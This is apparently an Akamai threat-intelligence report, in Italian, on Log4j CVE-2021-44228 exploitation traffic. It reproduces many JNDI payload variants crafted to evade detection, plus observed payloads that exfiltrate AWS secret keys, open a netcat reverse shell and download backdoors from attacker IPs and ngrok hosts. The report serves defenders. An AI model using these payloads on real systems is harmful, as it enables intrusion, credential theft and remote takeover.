Intelligence sulle minacce relativa alla CVE di Log4j: principali risultati e implicazioni
In merito alla CVE-2021-44228, Akamai ha già segnalato questa vulnerabilità e fornito consigli su come assicurare una protezione aggiuntiva che non si limiti all'applicazione di patch. Sulla rete Akamai, osserviamo un traffico di 1,3 miliardi di dispositivi univoci al giorno, con un traffico record di 182 Tbps. Il team di ricerca delle minacce ha esaminato tale traffico per ottenere informazioni più approfondite su come viene sfruttata questa vulnerabilità. Desideriamo quindi condividere i risultati tecnici ottenuti e le possibili conseguenze sulle attività degli addetti alla sicurezza. Di seguito sono riportate alcune importanti implicazioni per gli addetti ai sistemi di difesa e all'identificazione delle minacce:
- Alta probabilità che questa vulnerabilità abbia ripercussioni sul lungo periodo. Possiamo prevedere che, a causa dell'ampio utilizzo di questo software e dell'elevato numero di varianti dell'exploit, continueremo a registrare tentativi di sfruttamento della vulnerabilità nei prossimi mesi e molte nuove violazioni future. Ribadiamo la necessità di applicare urgentemente le patch per mitigare i futuri tentativi di attacco.
- Dagli attacchi injection opportunistici a quelli più mirati. Sfruttando tutte le varianti dell'exploit, gli autori degli attacchi hanno utilizzato tutti i punti di injection disponibili. Cominciando dai punti più comuni, come gli user agent, gli autori degli attacchi si sono rapidamente evoluti in modo da intercettare parametri specifici dell'organizzazione. In tal senso l'intelligence è molto utile per gli addetti ai sistemi di difesa del web poiché consente di adattarsi velocemente a un panorama delle minacce in continua evoluzione
- Tardiva comprensione delle conseguenze delle ricognizioni. La stragrande maggioranza dell'attività osservata rientra nell'ambito della ricognizione o dei test, rispetto a una percentuale relativamente minore di attacchi effettivi. E anche se gli attacchi possono essere mitigati tramite patch e altri metodi, non è chiaro quante violazioni si siano verificate durante questo periodo. Ci vorrà del tempo prima che tali violazioni vengano alla luce e se ne comprenda la portata.
Esaminiamo ora i risultati in dettaglio.
Risultato n. 1: un inizio moderato, seguito da uno tsunami globale di attività dannose
Ci è voluto un po' prima che si registrasse un incremento nei tentativi di exploit rivolti ai nostri clienti, ma una volta partiti, gli attacchi si sono succeduti in ondate imponenti. Inoltre, il problema è stato ulteriormente acuito dal fatto che, man mano che i malintenzionati hanno scoperto più vettori di attacco e più varianti dell'exploit, il volume delle attività dannose è aumentato drasticamente.
Alla stregua di altre vulnerabilità Zero-Day, i malintenzionati sono stati molto veloci ad adottare questo exploit e a espandere il loro arsenale di attacchi. Dai dati in nostro possesso possiamo affermare che circa il 57% dell'infrastruttura di attacco log4j era già nota ad Akamai da attacchi precedenti: essenzialmente, lo tsunami è stato generato sia da malintenzionati esistenti ed opportunisti che da nuovi autori di attacchi.
Va inoltre considerata la portata globale che ha assunto l'ondata di attacchi. La maggior parte proveniva inizialmente da Stati Uniti, Singapore, Germania e Brasile, ma le aree geografiche erano altamente distribuite. Abbiamo anche osservato che alcuni degli attacchi sono stati sferrati da server ospitati da fornitori di servizi cloud noti, come AWS e DigitalOcean.
Le nostre ricerche ci hanno aiutato a capire che le aree geografiche degli IP utilizzati per gli attacchi sono in continuo cambiamento. Il 15 dicembre si è scoperto che la maggior parte degli attacchi log4j è stata sferrata da macchine rintracciabili in Canada, nella Federazione Russa, sorprendentemente in Lussemburgo e nel Regno Unito.
Il settore del commercio è stato quello più colpito, poiché oltre il 50% dei clienti Akamai ha registrato tentativi di exploit in una sola ora.
Gli Stati Uniti sono stati il paese più coinvolto, 5 volte di più del secondo paese dell'elenco (Regno Unito), seguiti da un ampio gruppo di paesi ugualmente interessati dal problema.
Risultato n. 2: mutazione degli exploit senza precedenti
Oltre all'enorme impatto di questa vulnerabilità, abbiamo notato un'evoluzione delle varianti di exploit mai vista prima.
Mentre il vettore di attacco iniziale suggerito nell'exploit di verifica era:
${jndi:ldap://malicious_server_address/}
Sono emerse immediatamente altre semplici tecniche di elusione, come i payload con codifica URL:
$%7Bjndi:ldap:/x.x.x.x:3339/Exploit%7D
Nel giro di poche ore, gli autori degli attacchi hanno iniziato a utilizzare altri fornitori di servizi con registro JNDI, come "rmi" e "dns", per eludere i rilevamenti rivolti specificamente a "ldap":
${jndi:rmi:// and ${jndi:dns://
La documentazione esistente in merito alle 2 ricerche log4j ci aiuta a comprendere la superficie di attacco e la capacità elusiva. Gli autori degli attacchi e i malintenzionati stavano cercando di utilizzare una qualsiasi delle direttive di ricerca per creare una variante di attacco nascosta che non includesse "jndi", una stringa che la maggior parte degli addetti ai sistemi di difesa includono nelle loro regole di rilevamento.
Poiché log4j non fa distinzione tra maiuscolo e minuscolo, inizialmente sono state utilizzate le direttive di ricerca più banali per la trasformazione dei caratteri, "lower" e "upper":
${${lower:j}ndi: e ${${upper:j}ndi:
Qualsiasi lunghezza di stringa poteva essere inserita nella funzione di ricerca, non solo un singolo carattere:
${${lower:jnd}i:
I malintenzionati hanno scoperto, piuttosto velocemente, che è possibile definire una variabile utente e impostarla con un valore predefinito utilizzando un segno "-", che restituirà questo valore predefinito dopo la definizione. Si tratta di un metodo alternativo per nascondere le stringhe "jndi" e "ldap":
${${x:-j}ndi:
A quanto pare, il framework log4j non richiede un nome per le variabili, mentre le varianti dell'exploit hanno iniziato a includere nomi di variabili "vuote" e variabili con lunghezza multipla:
${${:-j}ndi: e ${${::::::-j}ndi:
Alcune varianti hanno iniziato a utilizzare direttive utente come "env", per definire nuove variabili ambientali, e "date", che sorprendentemente non applica alcun formato data:
${${env:BARFOO:-j}ndi e ${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:ldap://127.0.0.1:3339/Exploit}
Le varianti più avanzate, che vennero osservate nei giorni successivi al lancio dell'enorme exploit, includevano anche stringhe "vuote". Gli autori degli attacchi cercavano un metodo di ricerca e un'espressione che, una volta valutata, potesse generare una stringa "vuota" da inserire tra qualsiasi carattere come:
${:-}
Le varianti più avanzate della stringa "vuota" si basavano su impostazioni specifiche del sistema e sull'inserimento di testo come:
${{sys:sun.cpu.isalist}jnd${sys:sun.cpu.isalist}i
Sono inoltre state utilizzate molte altre varianti, tra cui doppia codifica URL, unicode ed espressioni senza la parentesi chiusa "}".
È importante osservare che gli autori degli attacchi stavano provando anche diverse varianti di attacco non funzionanti, come:
$jndi:ldap://
Risultato n. 3: più punti di injection, che diventano sempre più mirati
Durante la nostra ricerca si è evinto che gli autori degli attacchi inserivano il payload dell'exploit in più punti. Il punto più comune era rappresentato dagli argomenti della stringa di query, dall'intestazione User-Agent (come nell'exploit di verifica originale) e dal percorso della richiesta, con il presupposto che i server web e le applicazioni potessero registrare le informazioni di "accesso", ad esempio il metodo, il percorso della richiesta e lo user agent.
Nella maggior parte degli attacchi, il punto di injection si trovava in diversi parametri di query fittizie come "x", "test" e "foo". Sono stati utilizzati altri parametri di query come "url", "nextUrl", "_csrfToken", "_endcoding" e "openid.retrun_to", nel tentativo di determinare i parametri con le maggiori probabilità di essere registrati.
Ogni intestazione immaginabile diventava un possibile punto di injection, compresi Cookie, Referer, X-Forwarded-for e Connection.
Molti degli autori degli attacchi inviavano richieste di injection dell'exploit in più punti con la stessa richiesta.
Risultato n. 4: utilizzo di strumenti di ricognizione cieca, invio di malware e post-exploit
La maggior parte degli autori degli attacchi adotta la tecnica di ricognizione "cieca", mediante la quale i servizi online più diffusi vengono sfruttati per il rilevamento dell'interazione con i servizi esterni. In alcuni casi, per confermare la presenza di una vulnerabilità, l'utente malintenzionato non riesce a ottenere una risposta diretta dal servizio preso di mira. Pertanto, per verificare se il sito web è vulnerabile, tenterà di eseguire del codice e contattare un server esterno in suo controllo in attesa di tali connessioni. Se il server dell'utente malintenzionato riceve un "beacon" da un determinato server, significa che il server ha eseguito correttamente il codice dell'utente malintenzionato. Invece di configurare e gestire un server di questo tipo, la maggior parte degli autori degli attacchi utilizzavano le configurazioni online più diffuse per eseguire le medesime attività.
I servizi più diffusi utilizzati nell'attacco log4j sono stati "ineract.sh", "burpcollaborator.net" e "canarytokens.com", sebbene nell'attacco siano stati utilizzati molti altri nomi di dominio. Molti di questi domini ospitavano una distribuzione del server delle interazioni fuori banda "Ineractsh" open-source.
Figura: Servizio "canarytokens.com" per rilevare l'interazione fuori banda utilizzata nell'attacco log4j
Oltre al beacon di ricognizione cieca, molti autori degli attacchi stavano già cercando di ricavare dati utili (il nome host della macchina, i dati dell'ambiente come java:os, java:vm, env:user, ecc.), estraendo anche le chiavi AWS per assicurarsi il controllo dell'account AWS.
x=${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.c6r0th1plenfp33c62vgcg5bneayyna7g.interactsh.com/a} |
Altri payload includono l'esecuzione di comandi diretti tramite il payload con codifica base64:
${jndi:ldap://165.22.213.147:1389/Basic/Command/Base64/bmMgMTY1LjIyLjIxMy4x
NDcgODg4OCAtZSAvYmluL2Jhc2ggOyBjdXJsIGh0dHA6Ly8xNjUuMjIuMjEzLjE0Nz
o3Nzc3L2JhY2tkb29yLnNoIC1vIGJhY2tkb29yLnNoIDsgY2htb2QgK3ggLi9iYWNrZG9vci5
zaCA7YmFzaCBiYWNrZG9vci5zaCA7IGRpZyBsb2x6LjEyMWVwdDltNmJvanVsaHZ3dzBiN
HlxdHBrdmJvemQuYnVycGNvbGxhYm9yYXRvci5uZXQ=}
Che si traduce in:
nc 165.22.213.147 8888 -e /bin/bash ; curl http://165.22.213.147:7777/backdoor.sh -o backdoor.sh ; chmod +x ./backdoor.sh ;bash backdoor.sh ; dig lolz.121ept9m6bojulhvww0b4yqtpkvbozd.burpcollaborator.net |
Gli autori degli attacchi sono in grado di aprire una shell inversa sul loro server C2, scaricando uno script bash diretto, eseguendolo e inviando un beacon "DNS" alla "burpcollaborator.net" per confermare se il server è vulnerabile.
Per nascondere le identità degli autori degli attacchi, sono stati utilizzati anche servizi di tunneling inverso come "ngrok.io":
${${env:BARFOO:-j}ndi:${env:BARFOO:-l}dap${env:BARFOO:-:}//0.tcp.ngrok.io:17305/Basic/Command/Base64/d2dldCA4LnRjcC5uZ3Jvay5pbzoxNDYzOSAg}
Mentre il comando eseguito era quello di scaricare una backdoor:
wget 8.tcp.ngrok.io:14639
Il vantaggio di questi servizi di tunneling è che gli autori degli attacchi non devono ospitare il malware sul loro server pubblico, che potrebbe essere chiuso o sequestrato dalle autorità. Invece l'utente malintenzionato può ospitare il malware e il pannello di comando e controllo sul proprio computer e nascondersi dietro un servizio di tunneling legittimo, mentre il servizio "devia tramite proxy" il traffico C2 dal computer della vittima al computer dell'utente malintenzionato.
Oltre agli autori degli attacchi che distribuiscono criptominer e bot DDoS, abbiamo registrato la presenza di alcuni malintenzionati aggressivi che eseguono un enorme volume di scansioni rivolte a macchine Windows. Gli autori degli attacchi tentavano di distribuire la backdoor "netcat", uno strumento noto per l'escalation dei privilegi di Windows e utilizzato comunemente per il successivo movimento laterale o per ottenere privilegi di crittografia sui dischi tramite ransomware.
Uno dei server degli autori degli attacchi che ospita gli strumenti di attacco netcat e WinPEAS
Degli attacchi complessivi che abbiamo osservato fino ad oggi, solo una piccola percentuale sembra essere correlata al ransomware.
Nuovi aggiornamenti a breve disponibili
Nonostante siano emerse importanti informazioni sull'exploit dei dati dalle nostre ricerche, il lavoro non è ancora terminato. I team addetti alla risposta agli incidenti, alla ricerca sulla sicurezza e alla intelligence sulle minacce di Akamai continuano a monitorare e proteggere la nostra infrastruttura e i nostri clienti, sfruttando la nostra esclusiva visibilità e la nostra impareggiabile intelligence.
